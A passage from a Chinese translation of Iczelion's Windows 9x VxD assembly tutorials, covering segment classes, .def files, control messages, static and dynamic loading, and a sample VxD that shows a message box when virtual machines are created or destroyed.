  • ICODE 仅用于的初始化段 这种段里的代码仅仅用来进行VxD的初始化。当初始化完成后，VMM就把这段从内存中释放。
  • DBOCODE 仅用于调试的代码数据段 当你要调试VxD程序时，就要用到这种段里的代码和数据，例如，它包含要调试的消息的处理代码。
  • SCODE 静态代码和数据段 这种段时刻存在于内存中，即使VxD已经卸载，这种段对某些动态的VxD程序很有用，这些VxD程序需要在某一Windows进程里不停的加载/卸载而又要纪录上次的环境和状态。
  • RCODE 实模式初始化代码数据段 这种段包含实模式初始化需要的16位代码和数据。
  • 16ICODE 16ICODE USE16保护模式初始化数据段 这是一个16位的段，它包含VxD要从保护模式拷贝到V86模式的代码。例如，如果你要把一些V86的代码拷贝到一个虚拟机上时，你想拷贝的代码就要放在这里。如果你把它放在其他的段里，编译程序就会产生错误的代码，例如，它会产生32位代码而不是16位代码。
  • MCODE 锁定的消息字串 这种段包含了由VMM消息宏帮助编译的消息字串，这有助于你构造你的驱程的国际版本。
这并不意味着你的VxD程序必须包含以上所有的段，你可以选择你的VxD程序需要的段。例如，如果你的VxD程序不进行实模式初始化，那么就不必包含 RCODE 段。
大多数时候，你要用到 LCODE, PCODE 和 PDATA 段。作为一个VxD程序编写者，为你的代码和数据选择合适的段取决于你自己的判断。总的来说，你应该尽可能多的使用 PCODE 和 PDATA 因为这样VMM就可以在需要的时候把段调入调出内存。另外，硬件中断程序及其所用到的服务必须放在 LCODE 段里。
你不能直接地使用这些段类，你要用这些段类来定义段，这些段的定义被存放在模块定义文件(.def)中。下面是一个标准的模块定义文件：
VXD FIRSTVXD
SEGMENTS
    _LPTEXT     CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _LTEXT      CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _LDATA      CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _TEXT       CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _DATA       CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    CONST       CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _TLS        CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _BSS        CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _LMGTABLE   CLASS 'MCODE'    PRELOAD NONDISCARDABLE IOPL
    _LMSGDATA   CLASS 'MCODE'    PRELOAD NONDISCARDABLE IOPL
    _IMSGTABLE  CLASS 'MCODE'    PRELOAD DISCARDABLE IOPL
    _IMSGDATA   CLASS 'MCODE'    PRELOAD DISCARDABLE IOPL
    _ITEXT      CLASS 'ICODE'    DISCARDABLE
    _IDATA      CLASS 'ICODE'    DISCARDABLE
    _PTEXT      CLASS 'PCODE'    NONDISCARDABLE
    _PMSGTABLE  CLASS 'MCODE'    NONDISCARDABLE IOPL
    _PMSGDATA   CLASS 'MCODE'    NONDISCARDABLE IOPL
    _PDATA      CLASS 'PDATA'    NONDISCARDABLE SHARED
    _STEXT      CLASS 'SCODE'    RESIDENT
    _SDATA      CLASS 'SCODE'    RESIDENT
    _DBOSTART   CLASS 'DBOCODE'  PRELOAD NONDISCARDABLE CONFORMING
    _DBOCODE    CLASS 'DBOCODE'  PRELOAD NONDISCARDABLE CONFORMING
    _DBODATA    CLASS 'DBOCODE'  PRELOAD NONDISCARDABLE CONFORMING
    _16ICODE    CLASS '16ICODE'  PRELOAD DISCARDABLE
    _RCODE      CLASS 'RCODE'
EXPORTS
    FIRSTVXD_DDB  @1
第一个声明定义了VxD的名称，一个VxD的名称必须是全部大写的，我曾经试过用小写，结果VxD除了把自己载入内存外什么也不干。
接下来是段的定义，段的定义包括三个部分：段的名称，段类和要求的段的运行属性。你可以看到很多段都基于相同的段类，例如，_LPTEXT, _LTEXT, _LDATA 都是基于 LCODE 段类而且属性也完全一样。这样定义段有利于使代码更容易理解。如：LCODE 可以包含代码和数据，对于一个程序员来说，如果他能把数据放到_LDATA 段里，把代码放到_LTEXT 段里，就会显得很容易理解。最后，这两个段都会被编译到最后的可执行程序的同一个段内。
一个VxD程序导出且仅导出一个标记：它的设备描述块(DDB)。DDB实际上是一个结构，它包含了VMM需要知道的所有的VxD信息。你必须在模块定义文件中导出DDB。
在大多数时候，你可以把上面的.DEF文件用到你的新建的VxD项目中去。你只要把.DEF文件里第一行和最后一行的VxD名字改掉就可以了。在一个汇编的VxD项目中，段的定义是不必要的，段的定义主要用于C的VxD项目编写，但用在汇编里也是可以的。你会得到一大堆警告的信息但是它能汇编成功。你也可以删掉你在你的项目里没有用到的段定义从而去掉这些讨厌的警告信息。
vmm.inc包含了许多用于定义你的源文件中的段的宏：
_LTEXT | VxD_LOCKED_CODE_SEG
_PTEXT | VxD_PAGEABLE_CODE_SEG
_DBOCODE | VxD_DEBUG_ONLY_CODE_SEG
_ITEXT | VxD_INIT_CODE_SEG
_LDATA | VxD_LOCKED_DATA_SEG
_IDATA | VxD_IDATA_SEG
_PDATA | VxD_PAGEABLE_DATA_SEG
_STEXT | VxD_STATIC_CODE_SEG
_SDATA | VxD_STATIC_DATA_SEG
_DBODATA | VxD_DEBUG_ONLY_DATA_SEG
_16ICODE | VxD_16BIT_INIT_SEG
_RCODE | VxD_REAL_INIT_SEG

每个宏都有它相对应的结束宏，例如，如果你要在你的源文件中定义一个_LTEXT 段，你应该这样写：

VxD_LOCKED_CODE_SEG

(把你的代码写在这里)

VxD_LOCKED_CODE_ENDS

VxD结构

现在你了解了LE文件里的段，我们可以继续来看一下源文件。你会发现VxD程序有一个特点，那就是它用了很多的宏。你可以看到在VxD中宏几乎无处不在，这都成为一个习惯了。这些宏用来隐藏一些底层的细节，也增加了源程序的可移植性。如果你有兴趣，你可以看一看像vmm.inc这一类的库文件中的这些宏的定义。
下面是VxD源文件结构：
.386p
include vmm.inc

DECLARE_VIRTUAL_DEVICE FIRSTVXD,1,0, FIRSTVXD_Control, UNDEFINED_DEVICE_ID, UNDEFINED_INIT_ORDER

Begin_control_dispatch FIRSTVXD
End_control_dispatch FIRSTVXD

end

这段源程序给人的第一印象就是：它并不像一个汇编源程序。那是因为它用了很多宏。让我们来分析一下源程序以便你能很快理解它。

.386p
告诉编译器我们要使用包括CPU特权指令的80386指令系统。你也可以使用.486p 或者.586p.
include vmm.inc
你的每个VxD源程序都必须包含imm.inc，因为它包含了你在源程序里所要用到的宏的定义。你还可以根据需要包含其他的库文件。
DECLARE_VIRTUAL_DEVICE FIRSTVXD,1,0, FIRSTVXD_Control, UNDEFINED_DEVICE_ID, UNDEFINED_INIT_ORDER
正如我们刚才说的，VMM通过VxD程序的设备描述块(DDB)来获取它所需要知道的关于VxD的所有信息。一个设备描述块是一个结构，它包含了许多关于VxD的重要信息，比如VxD的名字，它的设备ID，它的VxD服务函数入口(如果有的话)，等等。你可以在imm.inc里查一查这个结构，它被定义为 VxD_Desc_Block。你必须在.DEF 文件里导出这个结构。这个结构有22个数据，但是你只用填写其中的几个。然后vmm.inc包含的一个宏会为你初始化并填写这些数据。这个宏叫做 DECLARE_VIRTUAL_DEVICE。它的格式如下：

Declare_Virtual_Device Name, MajorVer, MinorVer, CtrlProc, DeviceID, InitOrder, V86Proc, PMProc, RefData

你可以看到：VxD源程序中的标号是不区分大小写的，你可以用大写，小写或者混合起来用都可以。让我们来看一下 Declare_virtual_device 里的每一个参数。

  • Name VxD的名字 最多8个字符。它必须是大写！在系统中的所有VxD程序里，它们的名字不能重复，每个VxD的名字应该是唯一的。这个宏同时也会根据这个名字产生DDB的名字，产生的办法就是：在这个名字的后面加上_DDB。所以如果你的VxD的名字是 FIRSTVXD, Declare_Virtual_Device 这个宏就会把DDB的名字定为 FIRSTVXD_DDB。记住，你还要在.DEF文件里导出DDB。所以你必须使DDB的名字和.DEF文件定义中的相同。
  • MajorVer 和 MinorVer 你的VxD的主要的和次要的版本。
  • CtrlProc 你的VxD程序的设备控制函数的名字。设备控制函数是一个接受和处理VxD程序的控制消息的函数。你可以把设备控制函数看作Window函数的等价物。既然我们要用 Begin_Control_Dispatch 这个宏来生成我们的设备控制函数，那么我们应该使用一个标准格式的名字，那就是 VxD的名字_Control。 Begin_Control_Dispatch 这个宏把_Control 加到它后面的那个名字上(而我们又通常把VxD的名字写在它后面)作为设备控制函数的名字，所以我们就应该把VxD的名字加上_Control 作为 CtrlProc 参数的值。
  • DeviceID 你的VxD程序的16位唯一标识符 当且仅当你的VxD程序需要处理以下情况时你需要用到这个ID:
    • 你的VxD程序导出一些供其他VxD程序使用的VxD服务。因为20H中断接口用设备ID来定位/区分VxD程序，所以一个唯一的ID对你的VxD程序是必要的。
    • Your VxD 你的VxD程序要在初始化中断2FH,1607H时通知实模式程序它的存在。
    • Some 一些实模式软件(TSR)要用中断2FH,1605H来加载你的VxD程序。
    如果你的VxD程序不需要一个唯一的设备ID，你可以把这一项设为 UNDEFINED_DEVICE_ID ，如果你需要它，你可以去Microsoft要一个。
  • InitOrder 初始化的顺序，简单的说，就是加载的顺序。VMM就按照这个次序来加载VxD程序。每个VxD程序都有一个加载次序号，例如：
      VMM_INIT_ORDER        EQU 000000000H
      DEBUG_INIT_ORDER      EQU 000000000H
      DEBUGCMD_INIT_ORDER   EQU 000000000H
      PERF_INIT_ORDER       EQU 000900000H
      APM_INIT_ORDER        EQU 001000000H

    你可以看到：VMM, DEBUG 和 DEBUGCMD 是首先加载的VxD程序，然后是 PERF 和 APM。初始化顺序值越低的VxD程序越先被加载。如果你的VxD程序在初始化时需要用到其他VxD程序提供的服务，那么你必须把初始化顺序的值设得比你所要调用的那个VxD程序的大，这样，当你的VxD程序加载时，你所要的VxD就已经在内存中为你准备好了。如果不想去管你的VxD的初始化顺序，就把这个参数填写为 UNDEFINED_INIT_ORDER 。

  • V86Proc 和 PMProc 你的程序可以导出供V86和保护模式程序使用的API，这两个参数就是用来填写这些API的地址。记住，VxD程序除了监控系统虚拟机外，还要监控一个或多个运行在DOS或者保护模式下的虚拟机程序。理所当然的，VxD程序要为DOS和保护模式程序提供API支持。如果你不导出这些API，你可以不填这两个参数。
  • RefData 输入输出监视器(IOS)要用到的参考数据。只有一种情况下你要用到这个参数：当你在为IOS编写一个层驱动程序时。否则，你可以不填这个参数。
接下来是 Begin_Control_Dispatch 宏。
Begin_control_dispatch FIRSTVXD
End_control_dispatch FIRSTVXD
这两个宏定义了设备控制函数，当VxD的控制消息发生时，VMM就调用这个函数。你必须填写设备控制函数名字的前半部分，在本例中，我们用的是 FIRSTVXD。这个宏会在你输入的前半部分后加上_Control 作为设备控制函数的名字。这个名字一定要和你在 Declare_virtual_device 宏中给参数 CtrlProc 填的名字一致。设备控制函数总是放在锁定段(VxD_LOCKED_CODE_SEG)内的。上面定义的设备控制函数什么也不干。你需要说明你的VxD程序要响应什么控制消息，以及处理这个消息的函数，你可以用 Control_Dispatch 宏来实现这一点。
Control_Dispatch message, function
例如，如果你的VxD程序只要处理 Device_Init 消息，你的设备控制程序要这样写：
Begin_Control_Dispatch FIRSTVXD
Control_Dispatch Device_Init, OnDeviceInit
End_Control_DispatchFIRSTVXD
OnDeviceInit 就是要处理 Device_Init 消息的函数的名字。你可以给你的函数取任何你想取的名字。
你可以用 end 直接地结束你的VxD源程序。
综上所述，一个VxD程序至少包含一个设备控制块和一个设备控制函数。你要用 Declare_Virtual_Device 宏来定义一个设备控制块，用 Begin_Control_Dispatch 宏来定义一个设备控制程序。你必须在.def文件中的 EXPORTS 下面填写设备控制块的名字，从而导出该设备控制块。

编译VxD

编译的过程和编译普通的win32程序一样。先调用ml.exe编译asm源文件，然后用link.exe来连接object文件。不同的地方是ml.exe和link.exe后所带的命令行参数不同。

ml -coff -c -Cx -DMASM6 -DBLD_COFF -DIS_32 firstvxd.asm

-coff 表明COFF数据格式
-c 只汇编，不调用连接程序来连接，这样我们就可以在调用link.exe的时候使用跟多的参数。
-Cx 保存公共，外部标记。
-D<text> 定义一个文本宏，例如，-DBLD_COFF定义了一个文本宏BLD_COFF，这个宏用来作为编译的条件。如果你有兴趣，你可以在库文件中查找BLD_COFF，自己亲眼看看它对汇编过程起什么作用。上面的命令行定义了三个文本宏：BLD_COFF，IS_32和MASM6。如果你对C编程熟悉的话，你会知道这些定义相当于完成以下功能：

#define BLD_COFF
#define IS_32
#define MASM6
link -vxd -def:firstvxd.def firstvxd.obj

-vxd 表明我们要根据obj文件来生成一个VxD文件。
-def:<.DEF file> 指定该VxD文件的模式定义文件。

我觉得用makefile很方便，如果你不喜欢用makefile，你也可以创建批处理文件来自动完成编译过程。我的makefile如下：

NAME=firstvxd

$(NAME).vxd:$(NAME).obj
link -vxd -def:$(NAME).def $(NAME).obj

$(NAME).obj:$(NAME).asm
ml -coff -c -Cx -DMASM6 -DBLD_COFF -DIS_32 $(NAME).asm

由 Ryo 翻译，发表于 http://asm.yeah.net，英文版本来自 [Iczelion's Win32 Assembly Homepage]


VxD 程序设计入门

We 我们在上一节学会了如何编写一个什么事也不做的VxD程序。在这一节里，我们要给它增加处理控制消息的功能。

VxD的初始化和结束

VxD程序分为两种：静态的和动态的。每种的加载方法都不同，接受到的初始化和结束的控制消息也不同。

静态VxD:

下列情况下，VMM加载一个静态VxD:
  • 一个实模式常驻程序通过调用中断2FH，1605H,来调用此VxD。
  • 此VxD在注册表中的如下位置有定义：
      HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\key\StaticVxD=VxD带路径文件名
  • 此VxD在system.ini中的[386enh]行下有定义：[386enh] section:

      device=VxD带路径文件名
在开发的时候，我建议你从system.ini载入VxD程序，因为这样如果你的VxD程序有错而导致Windows不能启动的话，你可以在Dos下修改system.ini，而如果你使用的注册表载入的办法，就无法修改了。
当VMM加载你的静态VxD程序时，你的VxD程序会按以下顺序接收到三个系统控制消息：
  • Sys_Critical_Init VMM在转入到保护模式后，开放中断前发出这个控制消息。大多数VxD程序到不要用到这个消息，除非：
    • 你的VxD程序要接管一些其他VxD程序或者保护模式程序要用到的中断。既然你处理这个消息的时候这个中断还没有打开，你就可以确定在你接管这个中断的时候此中断不会被调用。
    • 你的VxD程序为其他的VxD程序提供了一些VxD服务。例如，一些在你的VxD程序后加载的VxD程序在处理 Device_Init 控制消息时需要调用一些你的VxD服务，既然 Sys_Critical_Init 控制消息在 Device_Init 消息之前被发送，所以你应该在 Sys_Critical_Init 消息发送时初始化你的程序。
    如果你要对这消息进行处理，你应该尽可能快的做完初始化工作，以免太长的执行时间导致的硬中断丢失。(记住：中断还没打开)
  • Device_Init VMM在开放中断后发送此信息。大多数VxD程序都在得到这个消息时初始化。因为中断都开放了，所以耗时的操作也可以在这里执行而不必怕会导致硬中断的丢失。你可以在这时进行初始化(如果你需要的话）。
  • Init_Complete 在所有的VxD程序处理完 Device_Init 消息之后,VMM释放初始化段（ICODE和RCODE段类）之前，VMM发出这个控制消息。只有少数几个VxD要处理这个消息。
你的VxD程序在成功地初始化后，必须将返回标志清零，反之，必须在返回之前把返回标志设为出错信息。如果你的VxD不需要初始化，你就不必对这些消息进行处理。
当要结束静态VxD的时候，VMM发送如下的控制消息：
  • System_Exit2 当你的VxD程序收到这个消息，Windows95正在关闭系统，除了系统虚拟机所有其他虚拟机都已经退出了。尽管如此，CPU仍然处于保护模式下，在系统虚拟机上执行实模式编码也是安全的。在这时Kernel32.dll也已经被卸载了。
  • Sys_Critical_Exit2 当所有的VxD完成对System_Exit2的响应处理并且中断都被关闭后，你的VxD收到到这个消息。
许多VxD程序并不要响应这两个消息，除非你要为系统做转换到实模式的准备。要知道，当Window95关闭时，它进入到实模式。所以如果你的VxD程序对实模式影像做了一些会导致它不稳定的操作，它就需要在这时进行恢复。
你也许会感到奇怪：为什么这两个消息后面都跟着个“2" ”。这是因为：在VMM加载VxD程序的时候，它是按照初始化顺序值小的VxD先加载的顺序加载的，这样VxD程序就可以使用那些在它们之前加载的VxD程序提供的服务。例如，VxD2要用到VxD1中的服务，它就必须把它的初始化顺序值定义的比VxD小。加载的顺序是：
..... VxD1 ===> VxD2 ===> VxD3 .....
那么卸载的时候，理所当然的是初始化顺序值大的VxD程序先被卸载，这样他们仍然可以使用比它们后加载的那些VxD程序提供的服务。如上面的例子，次序是：
.... VxD3 ===> VxD2 ===> VxD1.....
在上边的例子中，如果VxD2在初始化时调用了VxD1中的某些服务，那么卸载时它可能也要再次用到一些VxD1中的服务。System_Exit2 和 Sys_Critical_Exit2 是反初始化顺序发送的。这表示，当VxD2接受到这些消息时，VxD1还没有被卸载，它仍可以调用VxD1的服务，而 System_Exit 和 Sys_Critical_Exit 消息不是按照反初始化顺序发送的。这意味着，你不能肯定你是否仍能调用在你之前加载的VxD提供的VxD服务。新一代的VxD程序不应该使用这些消息。
还有两种退出消息：
  • Device_Reboot_Notify2 告诉VxD程序VMM正在准备重新启动系统。这时候中断还是开放的。
  • Crit_Reboot_Notify2 告诉VxD程序VMM正在准备重新启动系统。这时候中断已经被关闭了。
到这里，你可以猜到还有 Device_Reboot_Notify 和 Crit_Reboot_Notify 消息，但它们并不是像“2”版本的消息一样按反初始化顺序发送的。

动态VxD:

动态VxD在Windows9x里可以动态的被加载和卸载。这个特点在Window3.x下是没有的。动态VxD程序的主要作用是用来支持某些动态的硬件设备的重装，比如：即插即用设备。尽管如此，你可以从你的Win32程序中加载/卸载它，也可以把它看作是你的程序的一个到ring-0的扩展。
上一节我们提到的例子是一个静态的VxD，你可以把它转换成一个动态的VxD，只要在.def文件中 VxD 标记的后面加上关键字 DYNAMIC。
VxD FIRSTVxD DYNAMIC
这就是你把一个静态VxD转换成一个动态的VxD所要做的一切。
一个动态的VxD可以按以下的方法被加载：
  • 把它放到你的Windows目录下的\SYSTEM\IOSUBSYS 目录中。在这个目录里的VxD会被输入输出监视器(ios)加载。这些VxD必须支持层设备驱动。所以用这种方法加载你的动态VxD并不是一个好办法。
  • 用VxD加载服务。 VxDLDR 是一个可以加载动态VxD的静态VxD。你可以在其他VxD里面或者在16位代码里面调用它的服务。
  • 用Win32应用程序里的 CreateFile API。你在调用CreateFile时，你的动态VxD要以下面的格式填写：

      \\.\VxD完整路径名

    例如，如果你要加载一个在当前目录下名为FirstVxD的动态VxD，你需要做如下的工作：

    .data
    VxDName db "\\.\FirstVxD.VxD",0
    ......
    .data?
    hDevice dd ?
    .....
    .code
    .....
    invoke CreateFile, addr VxDName,0,0,0,0, FILE_FLAG_DELETE_ON_CLOSE,0
    mov hDevice,eax
    ......
    invoke CloseHandle,hDevice
    ......

FILE_FLAG_DELETE_ON_CLOSE 这个标志用来说明该VxD在 CreateFile 返回的句柄关闭时被卸载。
如果你用CreateFile来加载一个动态VxD，那么这个动态VxD 必须处理 w32_DeviceIoControl 消息。当你的动态VxD第一次被CreateFile函数加载的时候，VWIN32 向你的VxD发出这个消息。你的VxD响应这个消息，返回时eax中的值必须为零。当应用程序调用DeviceIoControl API来与一个动态VxD通讯时，w32_DeviceIoControl 消息也被发送。我们会在下一章讲到DeviceIoControl 接口。
一个动态VxD在初始化时收到一个消息：
  • Sys_Dynamic_Device_Init
在结束时也收到一个控制消息：
  • Sys_Dynamic_Device_Exit
动态VxD不会收到 Sys_Critical_Init, Device_Init 和 Init_Complete 控制消息，因为这些消息是在系统虚拟机初始化时发送的。除了这三个消息，动态VxD能收到所有的控制消息，只要它还在内存里。它可以做静态VxD可以做的所有事情。简单的说，动态VxD除了加载机制和接收到的初始化/结束消息跟静态VxD不同以外，它能做静态VxD所能做的一切。

其它系统控制消息

当VxD在内存里的时候，除了接收和初始化及结束相关的消息外，它还要收到许多别的控制消息。有些消息是关于虚拟机管理器的，有的是关于各种事件的。例如，关于虚拟机的消息如下：
  • Create_VM
  • VM_Critical_Init
  • VM_Suspend
  • VM_Resume
  • Close_VM_Notify
  • Destroy_VM
选择地响应你所感兴趣的消息是你自己的责任。

在VxD内创建函数

你要在一个段里面定义你的函数。你应该首先定义一个段，然后把你的函数放进去。例如，如果你要把你的函数放到一个可调页段中。你应该先定义一个可调页段，像这样：
VxD_PAGEABLE_CODE_SEG

（你的函数写在这里）

VxD_PAGEABLE_CODE_ENDS

你可以在一个段里面插入多个的函数。作为一个VxD编写者，你必须决定每一个函数应该放到哪个段里面去。如果你的函数必须时刻存在于内存中，如某些硬件中断处理程序，就把它们放到锁定页面段里面，否则，你应该把它们放到可调页段。
你要用BeginProc和EndProc 宏来定义你的函数：
BeginProc 函数名

EndProc 函数名

使用BeginProc 宏还可以加上一些参数，想了解这些细节，你可以看看Win95 DDK的文档。大多数时候，你只用填写函数的名字就够了。
因为BeginProc-EndProc 宏比proc-endp 指令的功能要强，所以你应该用BeginProc-EndProc宏来代替proc-endp指令

VxD编程约定

寄存器的使用

你的VxD程序可以使用所有的寄存器，FS和GS。但是在改动段寄存器的时候一定要小心。尤其是，一定不要改动CS和SS的内容，除非你对将发生的事情有绝对的把握。你可以使用DS和ES，但一定要记住在返回时恢复它们初值。有两个特征位尤其重要：方向和中断特征位。不要长时间的屏蔽中断。还有如果你要改动方向特征位，不要忘了在返回之前恢复它的初值。

参数传递约定

VxD服务函数有两种调用约定：寄存器法和堆栈法。调用寄存器法服务函数时，你通过各种寄存器来传递服务函数的参数。并且，在调用完成后检查寄存器的值来看操作是否成功。不要总是以为在调用服务函数后主要寄存器的值还和以前一样。当调用堆栈法服务函数时，你把要传递的参数压栈，在eax得到返回值。堆栈调用法的服务函数保存ebx，esi，edi和ebp的值。许多寄存器调用法服务函数都源于Windows3.x的时代。在大多数时候，你可以通过名字来区分这两种服务函数，如果一个函数的名字一下划线开头，如_HeapAllocate，它就是一个堆栈法的服务函数（除了少数从 VWIN32.VxD 导出的函数）。如果函数名不是一下划线开头，它就是一个寄存器法的服务函数。

调用VxD服务函数

你可以通过 VMMCall 和 VxDCall 宏来调用VMM和VxD服务。这两个宏的语法是一样的。当你要调用VMM导出的VxD服务函数时，用 VMMCall。当你要用其它VxD程序导出的VxD服务函数时，用 VxDCall。
VMMCall service ; 调用寄存器法服务函数e
VMMCall _service, <argument list> ; 调用堆栈法服务函数
正如我在前面所讲的，VMMCall 和 VxDCall 分解出一个跟着一个双字的20h中断，这样用起来很方便。 当你调用堆栈法服务时，你必须用角括号把你的参数列括起来。
VMMCall _HeapAllocate, <<size mybuffer>, HeapLockedIfDP>
_HeapAllocate 是一个堆栈法服务函数。它有两个参数，我们必须用角括号把它们括起来。由于第一个参数是一个这个宏不能正确解释的表达式，所以我们又要用一个角括号把它括起来。

Flat地址

在老的编译工具里，当你使用 offset 操作符时，编译器和联接器会生成错误地址，所以VxD编写者用 offset flat:来代替 offset。imm.inc包括了一个使这更简单的宏：OFFSET32 来代替 offset flat:。所以如果你要用地址操作时，用 OFFSET32 来代替offset操作符。

注意： 当我写这篇教程的时候，我试了一下用 offset 操作符。它可以生成正确的地址。所以我想MASM6.14修正了这个bug。但是为了安全起见，你还是应该用 OFFSET32 宏来代替 offset。

由 Ryo 翻译，发表于 http://asm.yeah.net，英文版本来自 [Iczelion's Win32 Assembly Homepage]


VxD例程：消息框

在上一节教程里，我们讲了编写一个VxD程序的方法。现在我们要学以致用。 在这一节里，我们要编写一个静态VxD，这个静态VxD在一个虚拟机创建或销毁时就会弹出一个消息框。
在这里下载例子。

捕获虚拟机创建和结束事件

当一个虚拟机创建时，VMM发送Create_VM控制消息给所有的VxD程序。当一个虚拟机退出时，它也发送VM_Terminate和VM_Terminate2消息给所有的VxD程序。我们的工作很简单：在设备控制程序里处理Create_VM and VM_Terminate2消息。当我们的VxD程序收到这两个控制消息时，它在屏幕上弹出一个消息框。
当VxD程序收到Create_VM或者 VM_Terminate2消息时，该虚拟机的句柄保存在ebx中。一个虚拟记的句柄可以看作它的唯一的ID。每一个虚拟机都有它自己唯一的ID(虚拟机句柄)。你可以像使用进程ID一样使用虚拟机ID：调用函数时，把它当作参数传送。
更进一步的来看，一个虚拟机句柄实际上是一个指向虚拟机控制块(VMCB)的32位线性地址。
一个虚拟机控制块是一个包括了许多关于该虚拟机的重要属性的结构。它的定义如下：
    cb_s STRUC
    CB_VM_Status        DD ?
    CB_High_Linear      DD ?
    CB_Client_Pointer   DD ?
    CB_VMID             DD ?
    CB_Signature        DD ?
    cb_s ENDS
  • CB_VM_Status 包含了反映虚拟机状态的一些标志位。
  • CB_High_Linear 是一个指向在系统共享区（约3GB)的虚拟机镜像的一个线性地址。这个概念需要解释一下。在Window95下，一个VxD不能直接访问到V86区域，代替地，VMM把每个虚拟机的V86区域都映射到系统共享区。当一个VxD程序要访问或修改虚拟机中的V86区时，它就在虚拟机的高线性区域进行操作。例如，如果显存的地址是0B8000H，而你的VxD程序要访问这个区域。它就要把CB_High_Linear中的值上0B8000H，然后访问那个区域。你在高线性镜像区域所作的修改都会被保存到虚拟机中去，因为这两个区域共享一个页面目录入口。使用高线性镜像在它多数情况下非常有效，因为你甚至可以修改一个不是当前虚拟机的虚拟机。
  • CB_Client_Pointer 包含了客户寄存器结构的地址。一个客户寄存器结构包含了在一个虚拟机中被中断的V86或保护模式程序的所有寄存器的值。如果你的VxD程序要读取/改动V86或PM程序的状态，它可以改动客户寄存器结构里的值，当VMM返回执行该程序时，这些改动会被保存到程序里去。
  • CB_VMID 虚拟机的身份验证数字。当VMM创建一个虚拟机时，就给该虚拟机分配一个数字。系统虚拟机的VMID是1。
  • CB_Signature 包含字串“VMcb”。这个元素是用来检测虚拟机句柄是否有效的。

显示一个对话框

一个VxD程序可以通过Virtual Shell Device服务来同用户通讯。在这个例子里我们要用到其中的一个：SHELL_Message.
SHEll_Message是一个寄存器法的服务函数，通过寄存器来传送参数：
  • ebx 显示这个消息的虚拟机的句柄。
  • eax 消息框的标志位。你可以在shell.inc中查查它们的详细信息，它们都是以MB_开头的。
  • ecx 要显示的消息的32位线性地址。
  • edi 消息框的标题的32位线性地址。
  • esi 如果你要知道用户对你的消息框作的反应操作，就在这里填写返回函数的32位线性地址。如果你不想知道，就用NULL。
  • edx 用来传送你的返回函数所需要的参数（如果你在esi中填了这个函数的地址）。
返回后，如果调用成功，返回标志被清零，否则，返回标志被置位。

例子：

.386p
include VMM.inc
include shell.inc

DECLARE_VIRTUAL_DEVICE MESSAGE,1,0, MESSAGE_Control, UNDEFINED_DEVICE_ID, UNDEFINED_INIT_ORDER

Begin_control_dispatch MESSAGE
Control_Dispatch Create_VM, OnVMCreate
Control_Dispatch VM_Terminate2, OnVMClose
End_control_dispatch MESSAGE

VxD_PAGEABLE_DATA_SEG
MsgTitle db "VxD MessageBox",0
VMCreated db "A VM is created",0
VMDestroyed db "A VM is destroyed",0
VxD_PAGEABLE_DATA_ENDS

VxD_PAGEABLE_CODE_SEG
BeginProc OnVMCreate
mov ecx, OFFSET32 VMCreated
CommonCode:
VMMCall Get_sys_vm_handle
mov eax,MB_OK+MB_ICONEXCLAMATION
mov edi, OFFSET32 MsgTitle
xor esi,esi
xor edx,edx
VxDCall SHELL_Message
ret
EndProc OnVMCreate

BeginProc OnVMClose
mov ecx,OFFSET32 VMDestroyed
jmp CommonCode
EndProc OnVMClose
VxD_PAGEABLE_CODE_ENDS

end

分析:

Begin_control_dispatch MESSAGE
Control_Dispatch Create_VM, OnVMCreate
Control_Dispatch VM_Terminate2, OnVMClose
End_control_dispatch MESSAGE
此VxD程序处理两个控制消息，Create_VM 和 VM_Terminate2 当收到 Create_VM 控制消息时，它调用 OnVMCreate 函数。当收到 VM_Terminate2 消息时，它调用 OnVMClose 函数。
VxD_PAGEABLE_DATA_SEG
MsgTitle db "VxD MessageBox",0
VMCreated db "A VM is created",0
VMDestroyed db "A VM is destroyed",0
VxD_PAGEABLE_DATA_ENDS
我们把这些数据放在可调页段里面。
BeginProc OnVMCreate
mov ecx, OFFSET32 VMCreated
CommonCode:
VMMCall Get_sys_vm_handle
mov eax,MB_OK+MB_ICONEXCLAMATION
mov edi, OFFSET32 MsgTitle
xor esi,esi
xor edx,edx
VxDCall SHELL_Message
ret
EndProc OnVMCreate
我们用 BeginProc 和 EndProc 宏来创建OnVMCreate。OnVMCreate函数把调用 SHELL_Message 服务所需要的参数放到寄存器里面去。因为我们要在系统虚拟机上显示消息框，所以不能使用ebx中的值（ebx包含了在创建的虚拟机的句柄，而我们要的是系统虚拟机的句柄）。于是，我们用另一个VMM服务，Get_Sys_VM_Handle 来得到系统虚拟机的虚拟机句柄。我们分别把消息的地址和消息框标题的地址放在ecx和edi里面。我们不需要知道客户的反应，所以我们把esi和edx置零。当每个参数都在相应的寄存器内后，我们就调用 SHELL_Message 来显示消息框。
BeginProc OnVMClose
mov ecx,OFFSET32 VMDestroyed
jmp CommonCode
EndProc OnVMClose
OnVMClose OnVMClose函数本身是很简单的。因为它要使用的代码和 OnVMCreate 相同，所以它在用另一个消息的地址初始化ecx后，就转到 OnVMCreate 中的代码去了。

改变定义文件(.def)

VxD MESSAGE

SEGMENTS
    _LPTEXT      CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _LTEXT       CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _LDATA       CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _TEXT        CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _DATA        CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    CONST        CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _TLS         CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _BSS         CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _LMGTABLE    CLASS 'MCODE'    PRELOAD NONDISCARDABLE IOPL
    _LMSGDATA    CLASS 'MCODE'    PRELOAD NONDISCARDABLE IOPL
    _IMSGTABLE   CLASS 'MCODE'    PRELOAD DISCARDABLE IOPL
    _IMSGDATA    CLASS 'MCODE'    PRELOAD DISCARDABLE IOPL
    _ITEXT       CLASS 'ICODE'    DISCARDABLE
    _IDATA       CLASS 'ICODE'    DISCARDABLE
